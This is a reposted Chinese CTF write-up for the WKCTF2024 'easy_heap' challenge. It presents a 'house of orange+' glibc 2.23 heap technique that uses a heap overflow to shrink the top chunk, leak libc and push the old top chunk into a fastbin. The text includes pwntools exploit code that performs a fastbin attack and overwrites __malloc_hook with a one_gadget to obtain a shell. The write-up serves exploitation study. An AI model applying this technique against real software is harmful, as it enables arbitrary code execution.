House of orange的进一步利用(house of orange+)

admin 2024年8月5日13:12:05评论17 views字数 2275阅读7分35秒阅读模式

在最近的WKCTF2024中,遇到了一道简单题目easy_heap。但是偶然间发现在以下条件满足时的一种利用方法:

1.不能释放chunk(无free)。
2.可以申请、编辑和输出多个chunk(add, edit, show)。
3.存在堆溢出。

在此情况下,可以通过house of orange的进一步利用。这里简记为house of range+。

原理概述


 

在house of orange中,我们经常利用修改topchunk的大小来获得一个unsorted bin,本质上是触发了_int_malloc在use_top段调用的sysmalloc

 

use_top:
victim = av->top;
size = chunksize (victim);

/*如果可以,就切割topchunk,返回被切下的chunk*/
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {...}

/* 如果topchunk大小不足,则尝试触发malloc_consolidate,合并fastbin */
else if (have_fastchunks (av)) {...}

/*如果上述情况都不满足需求,则触发sysmalloc*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}


 

这是sysmalloc中对旧的topchunk的处理:

 

if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1); //将old_top释放
}


 

这里本质上就是释放一个大小为old_top的chunk,如果我们通过构造topchunk的大小,让其小于等于0xa0,那么就可以让old_top置入0x80大小的fastbin中。而后可以继续基于fastbin的攻击,如fastbin attack。

 

这里分析的是对应题目环境的glibc版本,版本为2.23。但是这个方法在高版本中仍然可用,被释放的old_top满足条件的话会进入tcache。

 

house of orange+可以在没有free而且要求不太严格的情况下快速构造攻击payload。

 

 

例题:WKCTF2024 easy_heap


 

静态分析

 

题目只有add, show, edit三个选项:

 

House of orange的进一步利用(house of orange+)

 

而且edit中存在任意长度溢出:

 

House of orange的进一步利用(house of orange+)

 

而且show中只显示chunk的前8个字节:

 

House of orange的进一步利用(house of orange+)

 

由于没有free,可以先利用house of orange构造unsorted bin,泄露libc地址;然后考虑上文介绍的方法,构造进入fastbin的chunk,打fastbin attack。

 

泄露libc

 

先构造unsorted bin,这里由于题目远程环境不稳定,不能接收过长的payload,所以透过申请多个chunk来控制topchunk的大小。

 

add(0xbf0, b'a')#0
add(0x078, b'a')#1
edit(1, 0x78 + 8, flat(cyclic(0x78), 0x381), False)

add(0x3f0, b'a')#2


House of orange的进一步利用(house of orange+)

这里我们切割unsorted bin中的chunk,泄露libc。

 

add(0x208, b'')#3

show(3)
libc.address = u64(c.recvuntil(b'��')[-8:]) - 0x3c4e0a
success(f"libcbase = {hex(libc.address)}")


House of orange的进一步利用(house of orange+)

 

构造fastbin

 

接下来我们控制topchunksize的低12位为0x091。

 

add(0x7f0, b'a')#4
add(0x360, b'a')#5


House of orange的进一步利用(house of orange+)

 

然后修改topchunk的大小为0x90,触发_int_free将old_top置入fastbin。

 

edit(5, 0x360 + 0x10 + 8, flat(cyclic(0x368), 0x91))
add(0x460, b'a')#6


House of orange的进一步利用(house of orange+)

 

这样我们就得到了一个fastbin。

 

fastbin attack

 

可以通过chunk6的溢出打fastbin attack:

 

edit(5, 0x360 + 0x18, flat(cyclic(0x368), 0x71, libc.sym['__malloc_hook']-0x23), False)
add(0x68, b'a')#11
ogg = libc.address + 0xf1247

add(0x68, b'a'*0x13 + p64(ogg))#12 -> &__malloc_hook - 0x13

cmd(1)
c.sendline(b'10')
c.interactive()


House of orange的进一步利用(house of orange+)

 

 

总结


虽然有很多别的方法可以利用,但house of orange+可以更方便快速地找到攻击payload。

House of orange的进一步利用(house of orange+)

看雪ID:JnamerZ

https://bbs.kanxue.com/user-home-1002226.htm

*本文为看雪论坛优秀文章,由 JnamerZ 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):House of orange的进一步利用(house of orange+)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日13:12:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   House of orange的进一步利用(house of orange+)https://cn-sec.com/archives/2979581.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息